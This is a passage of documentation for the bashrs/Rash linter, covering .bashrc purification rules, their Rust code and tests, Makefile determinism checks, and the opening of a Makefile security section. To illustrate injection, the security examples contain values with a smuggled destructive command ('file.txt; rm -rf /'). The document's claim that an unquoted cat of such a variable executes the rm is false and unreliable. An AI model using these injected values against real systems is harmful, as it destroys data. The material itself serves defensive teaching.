add_to_path "${HOME}/.rbenv/bin"     # Ruby

6. Regular Purification

Schedule periodic purification to prevent cruft accumulation:

 Monthly purification check
0 0 1 * * /usr/local/bin/bashrs config purify ~/.bashrc --check | mail -s "bashrc purification report" user@example.com

7. Validate After Changes

Always validate after manual edits:

 After editing .bashrc
bashrs config purify ~/.bashrc --check --shellcheck

Troubleshooting

Issue 1: PATH Still Has Duplicates

Symptom:

$ echo "$PATH" | tr ':' '\n' | sort | uniq -d
/usr/local/bin
/usr/local/bin

Cause: Sourcing other scripts that modify PATH.

Solution: Audit all sourced files:

 Find all sourced files
grep -E '^\s*(source|\.)' ~/.bashrc

 Purify each one
bashrs config purify ~/.bash_aliases --output ~/.bash_aliases --backup
bashrs config purify ~/.bash_functions --output ~/.bash_functions --backup

Issue 2: Aliases Not Working

Symptom:

$ ll
bash: ll: command not found

Cause: Aliases defined in non-interactive shell.

Solution: Check if running in interactive mode:

 Add to .bashrc
case $- in
    *i*)
         Interactive shell, define aliases
        alias ll='ls -lah'
        ;;
esac

Issue 3: Functions Lost After Purification

Symptom: Functions work before purification but not after.

Cause: bashrs may have converted bash-specific functions to POSIX.

Solution: Check purified function syntax:

 Before (bash-specific)
function my_func() {
    local var=$1
    echo $var
}

 After (POSIX-compliant)
my_func() {
    _var="$1"
    echo "${_var}"
}

Issue 4: Environment Variables Not Set

Symptom: $GOPATH is empty after sourcing purified config.

Cause: Variable depends on another variable that's not set.

Solution: Check dependency order:

 Wrong order
export PATH="${GOPATH}/bin:${PATH}"
export GOPATH="${HOME}/go"

 Correct order (purified)
export GOPATH="${HOME}/go"
add_to_path "${GOPATH}/bin"

Issue 5: Slow Shell Startup

Symptom: Shell takes 5+ seconds to start after purification.

Cause: Purified config may have added expensive operations.

Solution: Profile the config:

 Add to top of .bashrc
PS4='+ $(date "+%s.%N")\011 '
set -x

 Add to bottom
set +x

Check timestamps to identify slow operations, then optimize or lazy-load them.

Issue 6: Shellcheck Warnings

Symptom:

$ bashrs config purify ~/.bashrc --shellcheck
SC2034: UNUSED_VAR appears unused. Verify use (or export if used externally).

Solution: Export used variables or remove unused ones:

 If used by external programs
export UNUSED_VAR="value"

 If truly unused
 Remove it

Issue 7: Non-POSIX Constructs

Symptom: Purified config doesn't work in sh.

Cause: bashrs detected shell-specific features.

Solution: Use shell detection:

 Bash-specific features
if [ -n "${BASH_VERSION}" ]; then
    shopt -s histappend
    shopt -s checkwinsize
fi

 Zsh-specific features
if [ -n "${ZSH_VERSION}" ]; then
    setopt HIST_IGNORE_DUPS
fi

Issue 8: Broken Sourcing Chain

Symptom: Scripts that source other scripts fail.

Cause: Relative paths broken after purification.

Solution: Use absolute paths:

 Before
source ../lib/helpers.sh

 After (purified)
 shellcheck source=/dev/null
. "${HOME}/.config/bash/lib/helpers.sh"

Real-World Example: Full Workflow

Here's a complete workflow for purifying a production .bashrc:

Step 1: Backup

 Create timestamped backup
cp ~/.bashrc ~/.bashrc.backup-$(date +%Y%m%d-%H%M%S)

 Verify backup
diff ~/.bashrc ~/.bashrc.backup-*

Step 2: Analyze Current State

 Check current config
wc -l ~/.bashrc
 234 lines

 Count PATH modifications
grep -c 'export PATH' ~/.bashrc
 18 (likely duplicates)

 Check for non-deterministic constructs
grep -E '\$RANDOM|\$\$|date \+' ~/.bashrc
 3 matches (need fixing)

Step 3: Purify

bashrs config purify ~/.bashrc \
    --output ~/.bashrc.purified \
    --shellcheck

Output:

bashrs config purify v6.32.1

Transformations Applied:
  - Deduplicated 18 PATH entries → 9 unique
  - Added add_to_path() helper
  - Replaced 3 non-deterministic values
  - Quoted 47 variable expansions
  - Made 8 operations idempotent

Shellcheck: PASSED

Step 4: Test in Subshell

 Test in isolated environment
bash --rcfile ~/.bashrc.purified -i

 Verify PATH
echo "$PATH"

 Test aliases
ll
gs

 Test functions
mkcd /tmp/test
pwd

 Exit test shell
exit

Step 5: Deploy Gradually

 Day 1: Use in current session only
source ~/.bashrc.purified

 Day 2: Use as default for new shells
mv ~/.bashrc ~/.bashrc.old
ln -s ~/.bashrc.purified ~/.bashrc

 Day 7: Commit to version control
git add ~/.bashrc.purified
git commit -m "Purified .bashrc with bashrs v6.32.1"
git push

 Day 30: Remove old backup
rm ~/.bashrc.old

Step 6: Verify Production

 Source multiple times
for i in 1 2 3; do
    bash -c 'source ~/.bashrc && echo "PATH: $PATH"'
done

 All outputs should be identical

Summary

The bashrs config purify command transforms messy shell configuration files into clean, safe, deterministic scripts by:

1. Deduplicating repeated exports, aliases, and PATH entries
2. Enforcing idempotency with helper functions like add_to_path()
3. Eliminating non-determinism by replacing $RANDOM, timestamps, and process IDs
4. Ensuring safety by quoting all variable expansions

Key takeaways:

• Always backup before purifying
• Test in isolated environments before deploying
• Use the add_to_path() helper for idempotent PATH management
• Validate with shellcheck and manual testing
• Deploy gradually with rollback plan
• Organize configs into modular files
• Purify regularly to prevent cruft accumulation

With purified configuration files, you can confidently source your .bashrc or .zshrc multiple times without side effects, ensuring consistent, predictable shell environments across all your systems.

CONFIG-001: Deduplicate PATH Entries

Category: Configuration Severity: Warning Since: v6.0.0 Fixable: Yes (automatic)

Problem

Duplicate entries in PATH cause:

• Slower command lookup
• Confusion about which binary will run
• Maintenance burden

Example Problem

export PATH="/usr/local/bin:$PATH"
export PATH="/opt/homebrew/bin:$PATH"
export PATH="/usr/local/bin:$PATH"  # Duplicate!

The third line adds /usr/local/bin again, which was already added in the first line.

Detection

Rash tracks all PATH modifications and detects when the same directory is added multiple times:

bashrs config analyze messy.bashrc

Output:

[CONFIG-001] Duplicate PATH entry
  → Line: 3
  → Path: /usr/local/bin
  → First occurrence: Line 1
  → Suggestion: Remove duplicate entry or use conditional addition

Automatic Fix

Rash can automatically remove duplicates while preserving the first occurrence:

bashrs config purify messy.bashrc --output clean.bashrc

Before:

export PATH="/usr/local/bin:$PATH"
export PATH="/opt/homebrew/bin:$PATH"
export PATH="/usr/local/bin:$PATH"

After:

export PATH="/usr/local/bin:$PATH"
export PATH="/opt/homebrew/bin:$PATH"
 Duplicate removed by CONFIG-001

Implementation Details

The deduplication algorithm:

#![allow(unused)]
fn main() {
use std::collections::HashSet;

/// Deduplicate PATH entries, preserving first occurrence
pub fn deduplicate_path_entries(source: &str) -> String {
    let entries = analyze_path_entries(source);
    let mut seen_paths = HashSet::new();
    let mut result = Vec::new();

    for (line_num, line) in source.lines().enumerate() {
        let line_num = line_num + 1;

        // Check if this line adds a PATH entry we've seen
        let mut skip_line = false;
        for entry in &entries {
            if entry.line == line_num && seen_paths.contains(&entry.path) {
                // Duplicate found - skip this line
                skip_line = true;
                break;
            }
        }

        if skip_line {
            continue;
        }

        // Track new paths
        for entry in &entries {
            if entry.line == line_num {
                seen_paths.insert(&entry.path);
            }
        }

        result.push(line.to_string());
    }

    result.join("\n")
}

// Helper function (part of actual implementation)
fn analyze_path_entries(source: &str) -> Vec<PathEntry> {
    // Implementation details...
    vec![]
}

struct PathEntry {
    line: usize,
    path: String,
}
}

Testing

The CONFIG-001 rule has comprehensive tests:

#![allow(unused)]
fn main() {
#[test]
fn test_config_001_detect_duplicate_paths() {
    // ARRANGE
    let source = r#"export PATH="/usr/local/bin:$PATH"
export PATH="/opt/homebrew/bin:$PATH"
export PATH="/usr/local/bin:$PATH""#;

    // ACT
    let entries = analyze_path_entries(source);
    let issues = detect_duplicate_paths(&entries);

    // ASSERT
    assert_eq!(issues.len(), 1);
    assert_eq!(issues[0].rule_id, "CONFIG-001");
    assert_eq!(issues[0].line, 3);
}

#[test]
fn test_config_001_deduplicate_preserves_first() {
    // ARRANGE
    let source = r#"export PATH="/usr/local/bin:$PATH"
export PATH="/opt/homebrew/bin:$PATH"
export PATH="/usr/local/bin:$PATH""#;

    // ACT
    let result = deduplicate_path_entries(source);

    // ASSERT
    assert_eq!(result.lines().count(), 2);
    assert!(result.contains("/usr/local/bin"));
    assert!(result.contains("/opt/homebrew/bin"));
    // Should only appear once
    assert_eq!(result.matches("/usr/local/bin").count(), 1);
}
}

Real-World Example

Common scenario in .bashrc files:

 System default
export PATH="/usr/local/bin:$PATH"

 Homebrew
if [ -d "/opt/homebrew/bin" ]; then
    export PATH="/opt/homebrew/bin:$PATH"
fi

 Custom tools
export PATH="/usr/local/bin:$PATH"  # Oops, duplicate!

 Python tools
export PATH="$HOME/.local/bin:$PATH"

After purification:

 System default
export PATH="/usr/local/bin:$PATH"

 Homebrew
if [ -d "/opt/homebrew/bin" ]; then
    export PATH="/opt/homebrew/bin:$PATH"
fi

 Custom tools - removed duplicate

 Python tools
export PATH="$HOME/.local/bin:$PATH"

Configuration

You can configure CONFIG-001 behavior:

 Dry-run (default) - show what would change
bashrs config purify ~/.bashrc --dry-run

 Apply fixes with backup
bashrs config purify ~/.bashrc --fix

 Skip backup (dangerous!)
bashrs config purify ~/.bashrc --fix --no-backup

Related Rules

• CONFIG-002: Quote variable expansions

FAQ

Q: Why preserve the first occurrence, not the last?

A: The first occurrence is usually the intended primary PATH. Later duplicates are often accidental.

Q: What about conditional PATH additions?

A: Rash preserves conditional logic. Duplicates are only removed if unconditional.

Q: Can I disable this rule?

A: Currently, rules cannot be disabled individually. This feature is planned for v7.1.

See Also

• Shell Configuration Overview
• Analyzing Config Files
• Purification Workflow

CONFIG-002: Quote Variable Expansions

Category: Security / Reliability Severity: Warning Since: v6.0.0 Fixable: Yes (automatic)

Problem

Unquoted variable expansions can lead to:

• Word splitting: Spaces in values break arguments
• Glob expansion: Wildcards in values expand unexpectedly
• Security vulnerabilities: Injection attacks through unquoted paths

Example Problem

 Unquoted variable
export PROJECT_DIR=$HOME/my projects

 Causes issues when used
cd $PROJECT_DIR  # Fails! Splits into: cd /home/user/my projects

The space in "my projects" causes the shell to interpret this as two arguments.

Detection

Rash analyzes variable usage and detects unquoted expansions:

bashrs config analyze messy.bashrc

Output:

[CONFIG-002] Unquoted variable expansion
  → Line: 1
  → Variable: $HOME
  → Column: 18
  → Can cause word splitting and glob expansion
  → Suggestion: Quote the variable: "${HOME}"

Automatic Fix

Rash automatically adds quotes and converts to brace syntax:

bashrs config purify messy.bashrc --output clean.bashrc

Before:

export PROJECT_DIR=$HOME/my projects
cd $PROJECT_DIR
cp $SOURCE $DEST

After:

export PROJECT_DIR="${HOME}/my projects"
cd "${PROJECT_DIR}"
cp "${SOURCE}" "${DEST}"

Why Quotes Matter

Word Splitting Example

 Without quotes
FILE=$HOME/my document.txt
cat $FILE
 Error: cat: /home/user/my: No such file or directory
        cat: document.txt: No such file or directory

 With quotes (correct)
FILE="${HOME}/my document.txt"
cat "${FILE}"
 Success!

Glob Expansion Example

 Without quotes
PATTERN="*.txt"
echo $PATTERN
 Expands to: file1.txt file2.txt file3.txt

 With quotes (literal)
PATTERN="*.txt"
echo "${PATTERN}"
 Outputs: *.txt

Security Example

 Vulnerable
USER_INPUT="file.txt; rm -rf /"
cat $USER_INPUT  # DANGER! Executes: cat file.txt; rm -rf /

 Safe
USER_INPUT="file.txt; rm -rf /"
cat "${USER_INPUT}"  # Safe: cat 'file.txt; rm -rf /'

Implementation

The quoting algorithm:

#![allow(unused)]
fn main() {
use std::collections::HashMap;

/// Quote all unquoted variables in source
pub fn quote_variables(source: &str) -> String {
    let variables = analyze_unquoted_variables(source);

    if variables.is_empty() {
        return source.to_string();
    }

    let mut lines_to_fix = HashMap::new();
    for var in &variables {
        lines_to_fix.entry(var.line).or_insert_with(Vec::new).push(var);
    }

    let mut result = Vec::new();

    for (line_num, line) in source.lines().enumerate() {
        let line_num = line_num + 1;

        if lines_to_fix.contains_key(&line_num) {
            if line.contains('=') {
                // Assignment: quote RHS
                result.push(quote_assignment_line(line));
            } else {
                // Command: quote individual variables
                result.push(quote_command_line(line));
            }
        } else {
            result.push(line.to_string());
        }
    }

    result.join("\n")
}

// Helper functions (part of actual implementation)
fn analyze_unquoted_variables(source: &str) -> Vec<UnquotedVariable> { vec![] }
fn quote_assignment_line(line: &str) -> String { line.to_string() }
fn quote_command_line(line: &str) -> String { line.to_string() }
struct UnquotedVariable { line: usize }
}

Special Contexts

CONFIG-002 is smart about when NOT to quote:

1. Already Quoted

 Already safe - no change
export DIR="${HOME}/projects"
echo "Hello $USER"

2. Arithmetic Context

 Arithmetic - no quotes needed
result=$((x + y))
((counter++))

3. Array Indices

 Array index - no quotes needed
element="${array[$i]}"

4. Export Without Assignment

 Just exporting, not assigning - no change
export PATH

Testing

Comprehensive test coverage for CONFIG-002:

#![allow(unused)]
fn main() {
#[test]
fn test_config_002_quote_simple_variable() {
    // ARRANGE
    let source = "export DIR=$HOME/projects";

    // ACT
    let result = quote_variables(source);

    // ASSERT
    assert_eq!(result, r#"export DIR="${HOME}/projects""#);
}

#[test]
fn test_config_002_preserve_already_quoted() {
    // ARRANGE
    let source = r#"export DIR="${HOME}/projects""#;

    // ACT
    let result = quote_variables(source);

    // ASSERT
    assert_eq!(result, source, "Should not change already quoted");
}

#[test]
fn test_config_002_idempotent() {
    // ARRANGE
    let source = "export DIR=$HOME/projects";

    // ACT
    let quoted_once = quote_variables(source);
    let quoted_twice = quote_variables(&quoted_once);

    // ASSERT
    assert_eq!(quoted_once, quoted_twice, "Quoting should be idempotent");
}
}

Real-World Example

Common ~/.bashrc scenario:

 Before purification
export PROJECT_DIR=$HOME/my projects
export BACKUP_DIR=$HOME/backups

 Aliases with unquoted variables
alias proj='cd $PROJECT_DIR'
alias backup='cp $PROJECT_DIR/file.txt $BACKUP_DIR/'

 Functions
deploy() {
    cd $PROJECT_DIR
    ./build.sh
    cp result.tar.gz $BACKUP_DIR
}

After purification:

 After purification
export PROJECT_DIR="${HOME}/my projects"
export BACKUP_DIR="${HOME}/backups"

 Aliases with quoted variables
alias proj='cd "${PROJECT_DIR}"'
alias backup='cp "${PROJECT_DIR}/file.txt" "${BACKUP_DIR}/"'

 Functions
deploy() {
    cd "${PROJECT_DIR}" || return 1
    ./build.sh
    cp result.tar.gz "${BACKUP_DIR}"
}

Configuration

Control CONFIG-002 behavior:

 Dry-run to preview changes
bashrs config purify ~/.bashrc --dry-run

 Apply with backup (default: ~/.bashrc.backup.TIMESTAMP)
bashrs config purify ~/.bashrc --fix

 JSON output for tooling
bashrs config analyze ~/.bashrc --format json

Exceptions

CONFIG-002 intelligently skips:

1. Comments: Variables in comments are ignored
2. Strings: Variables already in double quotes
3. Arithmetic: Variables in $((...)) or (( ))
4. Arrays: Variables used as array indices

Related Rules

• CONFIG-001: PATH deduplication
• SEC-003: Command injection prevention

Performance

CONFIG-002 is highly optimized:

• Regex-based: O(n) scanning with compiled regex
• Incremental: Only processes lines with variables
• Idempotent: Safe to run multiple times
• Fast: ~1ms for typical .bashrc files

FAQ

Q: Why convert $VAR to ${VAR}?

A: Brace syntax is more explicit and prevents issues like $VARname ambiguity.

Q: What about single quotes?

A: Variables in single quotes don't expand. CONFIG-002 focuses on double-quote contexts.

Q: Can this break my scripts?

A: Very rarely. Quoting variables is almost always safer. Test with --dry-run first.

Q: What about $0, $1, $2, etc.?

A: Positional parameters are quoted too: "${1}", "${2}", etc.

See Also

• Quote Everything by Default
• ShellCheck SC2086
• Bash Pitfalls

CONFIG-003: Consolidate Duplicate Aliases

Category: Configuration / Maintainability Severity: Warning Since: v6.1.0 Fixable: Yes (automatic)

Problem

Shell configuration files often accumulate duplicate alias definitions over time as users experiment with different settings. When the same alias is defined multiple times:

• Confusing behavior: Only the last definition takes effect
• Maintenance burden: Harder to track which aliases are active
• Cluttered configs: Unnecessary duplication
• Debugging difficulty: Hard to find which alias definition is "winning"

Example Problem

 Early in .bashrc
alias ls='ls --color=auto'
alias ll='ls -la'

 ... 100 lines later ...

 Forgot about the first one!
alias ls='ls -G'           # This one wins
alias ll='ls -alh'         # This one wins

The second definitions override the first ones, but both remain in the file causing confusion.

Detection

Rash analyzes all alias definitions and detects when the same alias name appears multiple times:

bashrs config analyze messy.bashrc

Output:

[CONFIG-003] Duplicate alias definition: 'ls'
  → Line: 21
  → First occurrence: Line 17
  → Severity: Warning
  → Suggestion: Remove earlier definition or rename alias. Last definition wins in shell.

Automatic Fix

Rash can automatically consolidate duplicates, keeping only the last definition (matching shell behavior):

bashrs config purify messy.bashrc --output clean.bashrc

Before:

alias ll='ls -la'
alias ls='ls --color=auto'
alias ll='ls -alh'         # Duplicate
alias grep='grep --color=auto'
alias ll='ls -lAh'         # Duplicate

After:

alias ls='ls --color=auto'
alias grep='grep --color=auto'
alias ll='ls -lAh'         # Only the last definition kept

Why Last Definition Wins

CONFIG-003 follows shell behavior where later alias definitions override earlier ones:

 In shell
$ alias ls='ls --color=auto'
$ alias ls='ls -G'
$ alias ls
alias ls='ls -G'           # Only the last one is active

This matches how shells process config files line-by-line.

Implementation

The consolidation algorithm:

use std::collections::HashMap;
use regex::Regex;

/// Consolidate duplicate aliases, keeping only the last definition
pub fn consolidate_aliases(source: &str) -> String {
    let aliases = analyze_aliases(source);

    if aliases.is_empty() {
        return source.to_string();
    }

    // Build map of alias names to their last definition line
    let mut last_definition: HashMap<String, usize> = HashMap::new();
    for alias in &aliases {
        last_definition.insert(alias.name.clone(), alias.line);
    }

    // Build set of lines to skip (duplicates)
    let mut lines_to_skip = Vec::new();
    for alias in &aliases {
        if let Some(&last_line) = last_definition.get(&alias.name) {
            if alias.line != last_line {
                // This is not the last definition - skip it
                lines_to_skip.push(alias.line);
            }
        }
    }

    // Reconstruct source, skipping duplicate lines
    let mut result = Vec::new();
    for (line_num, line) in source.lines().enumerate() {
        let line_num = line_num + 1;

        if lines_to_skip.contains(&line_num) {
            continue; // Skip this duplicate
        }

        result.push(line.to_string());
    }

    result.join("\n")
}

// Helper types
struct AliasDefinition {
    line: usize,
    name: String,
    value: String,
}

fn analyze_aliases(source: &str) -> Vec<AliasDefinition> {
    // Implementation details...
    vec![]
}

Testing

CONFIG-003 has comprehensive tests:

#[test]
fn test_config_003_consolidate_simple() {
    // ARRANGE
    let source = r#"alias ls='ls --color=auto'
alias ls='ls -G'"#;

    // ACT
    let result = consolidate_aliases(source);

    // ASSERT
    assert_eq!(result, "alias ls='ls -G'");
}

#[test]
fn test_config_003_consolidate_multiple() {
    // ARRANGE
    let source = r#"alias ll='ls -la'
alias ls='ls --color=auto'
alias ll='ls -alh'
alias grep='grep --color=auto'
alias ll='ls -lAh'"#;

    let expected = r#"alias ls='ls --color=auto'
alias grep='grep --color=auto'
alias ll='ls -lAh'"#;

    // ACT
    let result = consolidate_aliases(source);

    // ASSERT
    assert_eq!(result, expected);
}

#[test]
fn test_config_003_idempotent() {
    // ARRANGE
    let source = r#"alias ls='ls --color=auto'
alias ls='ls -G'"#;

    // ACT
    let consolidated_once = consolidate_aliases(source);
    let consolidated_twice = consolidate_aliases(&consolidated_once);

    // ASSERT
    assert_eq!(
        consolidated_once, consolidated_twice,
        "Consolidation should be idempotent"
    );
}

Real-World Example

Common scenario in a 5-year-old .bashrc:

 Original setup (2019)
alias ll='ls -la'
alias ls='ls --color=auto'
alias grep='grep --color=auto'

 Tried new options (2020)
alias ll='ls -lah'

 macOS-specific (2021)
alias ls='ls -G'

 Final preference (2023)
alias ll='ls -lAh'

After purification:

 Consolidated aliases
alias ls='ls -G'
alias grep='grep --color=auto'
alias ll='ls -lAh'

Three duplicate definitions reduced to three clean aliases.

CLI Usage

 Analyze for duplicates
bashrs config analyze ~/.bashrc

 Lint and exit with error code if found
bashrs config lint ~/.bashrc

 Preview what would be fixed
bashrs config purify ~/.bashrc --dry-run

 Apply fixes with backup (default: ~/.bashrc.backup.TIMESTAMP)
bashrs config purify ~/.bashrc --fix

 Apply without backup (dangerous!)
bashrs config purify ~/.bashrc --fix --no-backup

 Output to different file
bashrs config purify ~/.bashrc --output ~/.bashrc.clean

Configuration

You can control CONFIG-003 behavior through CLI flags:

 Dry-run to preview changes (default)
bashrs config purify ~/.bashrc --dry-run

 Apply with backup
bashrs config purify ~/.bashrc --fix

 Skip backup (not recommended)
bashrs config purify ~/.bashrc --fix --no-backup

 JSON output for tooling
bashrs config analyze ~/.bashrc --format json

Edge Cases

Comments Between Duplicates

 Before
alias ls='ls --color=auto'
 This is my preferred ls
alias ls='ls -G'

 After
 This is my preferred ls
alias ls='ls -G'

Comments and blank lines are preserved.

Mixed Quote Styles

 Before
alias ls='ls --color=auto'    # Single quotes
alias ls="ls -G"               # Double quotes

 After
alias ls="ls -G"               # Both styles supported

CONFIG-003 handles both single and double quotes.

No Duplicates

If no duplicates exist, the file is unchanged:

alias ll='ls -la'
alias ls='ls --color=auto'
alias grep='grep --color=auto'
 No changes needed

Related Rules

• CONFIG-001: PATH deduplication
• CONFIG-002: Quote variable expansions

Performance

CONFIG-003 is highly optimized:

• Regex-based: O(n) scanning with compiled regex
• Single pass: Analyzes and consolidates in one pass
• Idempotent: Safe to run multiple times
• Fast: ~1ms for typical .bashrc files

FAQ

Q: Why keep the last definition instead of the first?

A: The last definition is what's actually active in your shell. Keeping it matches real behavior and is what users typically intend (later overrides earlier).

Q: What if I have conditional aliases?

A: CONFIG-003 only consolidates identical alias names. Conditional aliases are preserved:

if [ "$OS" = "Darwin" ]; then
    alias ls='ls -G'
else
    alias ls='ls --color=auto'
fi
 Both kept - they're conditional

Q: Can I disable this rule?

A: Currently, rules cannot be disabled individually. This feature is planned for v7.1.

Q: What about functions with the same name as aliases?

A: CONFIG-003 only analyzes alias definitions. Functions are handled separately.

Best Practices

✅ DO:

• Run bashrs config analyze before manual edits
• Use --dry-run to preview changes first
• Keep backups (default behavior)
• Consolidate regularly during config maintenance

❌ DON'T:

• Skip the dry-run step
• Disable backups unless you're certain
• Edit config while shell is sourcing it
• Ignore CONFIG-003 warnings (they indicate confusion)

See Also

• Shell Configuration Overview
• Analyzing Config Files
• Purification Workflow
• CONFIG-001: PATH Deduplication
• CONFIG-002: Quote Variables

Makefile Purification with Rash

Rash provides Makefile purification - automatically detecting and fixing non-deterministic patterns in GNU Makefiles to ensure reproducible, deterministic builds.

Why Purify Makefiles?

The Problem

Makefiles often contain non-deterministic constructs that lead to unreproducible builds:

# ❌ Non-deterministic - file order depends on filesystem
SOURCES := $(wildcard src/*.c)
HEADERS := $(wildcard include/*.h)

# ❌ Non-deterministic - find output order varies
ALL_FILES := $(shell find . -name '*.c')

# ❌ Parallel build races - multiple targets write same file
build/config.h: generate-config
	./gen-config > build/config.h

build/defaults.h: generate-defaults
	./gen-defaults > build/config.h  # ❌ Race condition!

Result: Different build outputs on different machines, flaky parallel builds, hard-to-reproduce bugs.

The Solution

Rash automatically transforms Makefiles to be deterministic and safe for parallel builds:

# ✅ Deterministic - sorted file order
SOURCES := $(sort $(wildcard src/*.c))
HEADERS := $(sort $(wildcard include/*.h))

# ✅ Deterministic - sorted find output
ALL_FILES := $(sort $(shell find . -name '*.c'))

# ✅ Parallel-safe - targets write different files
build/config.h: generate-config
	./gen-config > build/config.h

build/defaults.h: generate-defaults
	./gen-defaults > build/defaults.h  # ✅ No race

Result: Reproducible builds, reliable parallel execution, consistent behavior across machines.

Features

Rash Makefile purification provides:

1. Wildcard Sorting (MAKE001)

$ rash lint Makefile
MAKE001: Non-deterministic wildcard expansion
  --> Makefile:10
   |
10 | SOURCES := $(wildcard src/*.c)
   |            ^^^^^^^^^^^^^^^^^^^ filesystem order is non-deterministic
   |
   = help: Wrap with $(sort ...) for determinism
   = fix: SOURCES := $(sort $(wildcard src/*.c))

2. Shell Command Sorting (MAKE002)

$ rash lint Makefile
MAKE002: Non-deterministic shell command
  --> Makefile:15
   |
15 | FILES := $(shell find . -name '*.c')
   |          ^^^^^^^^^^^^^^^^^^^^^^^^^^^ find output order varies
   |
   = help: Wrap with $(sort ...) for determinism
   = fix: FILES := $(sort $(shell find . -name '*.c'))

3. Parallel Build Safety (MAKE010-MAKE017)

• MAKE010: Detect shared file write races
• MAKE011: Recommend .NOTPARALLEL for unsafe patterns
• MAKE012: Detect missing dependencies
• MAKE013: Suggest order-only prerequisites
• MAKE014: Detect directory creation races
• MAKE015: Handle recursive make calls
• MAKE016: Detect output file conflicts
• MAKE017: Timestamp reproducibility

4. Auto-Fix

 Automatically fix all issues
$ rash lint --fix Makefile

Fixed 3 issues:
  ✅ MAKE001: Wrapped wildcard with sort (line 10)
  ✅ MAKE001: Wrapped wildcard with sort (line 11)
  ✅ MAKE002: Wrapped shell find with sort (line 15)

Makefile is now deterministic and reproducible!

Quick Start

Analyze a Makefile

 Check for issues
$ rash lint Makefile

 Auto-fix all issues
$ rash lint --fix Makefile

 Output purified Makefile
$ rash purify Makefile > Makefile.purified

Example: Before and After

Before (Makefile):

# Compiler settings
CC := gcc
CFLAGS := -O2 -Wall

# ❌ Non-deterministic wildcards
SOURCES := $(wildcard src/*.c)
HEADERS := $(wildcard include/*.h)
OBJECTS := $(SOURCES:.c=.o)

# Build rule
all: build/myapp

build/myapp: $(OBJECTS)
	$(CC) $(CFLAGS) -o $@ $(OBJECTS)

After (rash lint --fix Makefile):

# Compiler settings
CC := gcc
CFLAGS := -O2 -Wall

# ✅ Deterministic - sorted wildcards
SOURCES := $(sort $(wildcard src/*.c))
HEADERS := $(sort $(wildcard include/*.h))
OBJECTS := $(SOURCES:.c=.o)

# Build rule
all: build/myapp

build/myapp: $(OBJECTS)
	$(CC) $(CFLAGS) -o $@ $(OBJECTS)

Verification:

 Build twice - should be identical
$ make clean && make
$ md5sum build/myapp > checksum1.txt

$ make clean && make
$ md5sum build/myapp > checksum2.txt

$ diff checksum1.txt checksum2.txt
 ✅ No differences - build is reproducible!

Use Cases

1. Reproducible Builds

Ensure the same source code always produces the same binary:

 Purify Makefile
$ rash lint --fix Makefile

 Build on machine A
$ make clean && make
$ md5sum build/app
abc123...

 Build on machine B (same source)
$ make clean && make
$ md5sum build/app
abc123...  # ✅ Identical

2. Parallel Build Safety

Detect and fix race conditions in parallel builds:

$ rash lint Makefile
MAKE010: Parallel build race detected
  --> Makefile:25
   |
25 | build/config.h: generate-config
26 |     ./gen-config > build/config.h
   |
30 | build/defaults.h: generate-defaults
31 |     ./gen-defaults > build/config.h
   |                      ^^^^^^^^^^^^^^^^ multiple targets write same file
   |
   = warning: Running make -j may produce corrupted output
   = fix: Ensure each target writes unique output files

3. CI/CD Reliability

Eliminate flaky builds in continuous integration:

# .github/workflows/build.yml
- name: Lint Makefile
  run: rash lint Makefile

- name: Build (parallel)
  run: make -j$(nproc)
  # ✅ No races, deterministic output

4. Cross-Platform Consistency

Same build results on Linux, macOS, BSD:

 purify Makefile to use sorted wildcards
$ rash lint --fix Makefile

 Build on any platform - identical results

How It Works

Rash Makefile purification follows these steps:

1. Parse Makefile to AST
2. Analyze for non-deterministic patterns
3. Transform AST to fix issues
4. Generate purified Makefile

┌─────────────┐
│   Makefile  │
│  (original) │
└──────┬──────┘
       │
       ▼
┌─────────────┐
│  Parse AST  │  ← Lexer + Parser
└──────┬──────┘
       │
       ▼
┌─────────────┐
│   Analyze   │  ← Semantic analysis (297 tests)
│   Issues    │    - Wildcards, shell commands
│             │    - Parallel safety, timestamps
└──────┬──────┘
       │
       ▼
┌─────────────┐
│  Transform  │  ← Purification engine
│     AST     │    - Wrap with $(sort ...)
│             │    - Fix race conditions
└──────┬──────┘
       │
       ▼
┌─────────────┐
│  Generate   │  ← Code generation
│  Purified   │
│  Makefile   │
└─────────────┘

Quality Assurance

Rash Makefile support has NASA-level testing:

• 297 unit tests covering all transformations
• Property-based testing with 100+ random Makefiles
• EXTREME TDD methodology (RED-GREEN-REFACTOR)
• Zero tolerance for regressions

#![allow(unused)]
fn main() {
#[test]
fn test_MAKE001_wildcard_basic() {
    let makefile = "SOURCES := $(wildcard *.c)";
    let result = purify_makefile(makefile).unwrap();

    assert_eq!(
        result,
        "SOURCES := $(sort $(wildcard *.c))"
    );
}
}

Test Coverage: 100% of purification logic tested

Next Steps

• Makefile Security - Detect injection vulnerabilities
• Makefile Best Practices - Recommended patterns

Resources

• GNU Make Manual: https://www.gnu.org/software/make/manual/
• Reproducible Builds: https://reproducible-builds.org/
• SOURCE_DATE_EPOCH: https://reproducible-builds.org/specs/source-date-epoch/

Pro Tip: Use rash lint --fix as a pre-commit hook to ensure all Makefiles remain deterministic:

 .git/hooks/pre-commit
!/bin/bash
rash lint --fix Makefile
git add Makefile

Makefile Security

Rash detects security vulnerabilities in Makefiles, including command injection, unsafe shell usage, and privilege escalation risks.

Security Rules

MAKE003: Command Injection via Unquoted Variables

Risk: HIGH - Arbitrary command execution

Problem: Unquoted variables in shell commands allow injection attacks.

# ❌ DANGEROUS: Command injection vulnerability
install:
	cp $(FILE) /usr/local/bin/  # Attacker: FILE="../../../etc/passwd; rm -rf /"

Attack Vector:

$ make FILE="../../../etc/passwd; rm -rf /" install
 Executes: cp ../../../etc/passwd; rm -rf / /usr/local/bin/

Solution: Always quote variables in shell commands.

# ✅ SAFE: Quoted variable prevents injection
install:
	cp "$(FILE)" /usr/local/bin/

Detection:

$ rash lint Makefile
MAKE003: Potential command injection
  --> Makefile:2
   |
 2 |     cp $(FILE) /usr/local/bin/
   |        ^^^^^^^ unquoted variable in shell command
   |
   = help: Quote variable to prevent injection
   = fix: cp "$(FILE)" /usr/local/bin/

MAKE004: Unsafe Shell Metacharacters

Risk: MEDIUM - Unintended shell expansion

Problem: Shell metacharacters (*, ?, [, ]) expand unexpectedly.

# ❌ RISKY: Glob expansion may surprise
clean:
	rm -f *.o  # What if there's a file named "-rf"?

Attack Vector:

$ touch -- "-rf"
$ make clean
 Executes: rm -f -rf *.o
 May delete more than intended!

Solution: Use explicit file lists or find with -delete.

# ✅ SAFER: Explicit file list
OBJS := $(sort $(wildcard *.o))

clean:
	rm -f $(OBJS)

MAKE009: Privilege Escalation via sudo

Risk: CRITICAL - Root access abuse

Problem: Makefiles running sudo without validation.
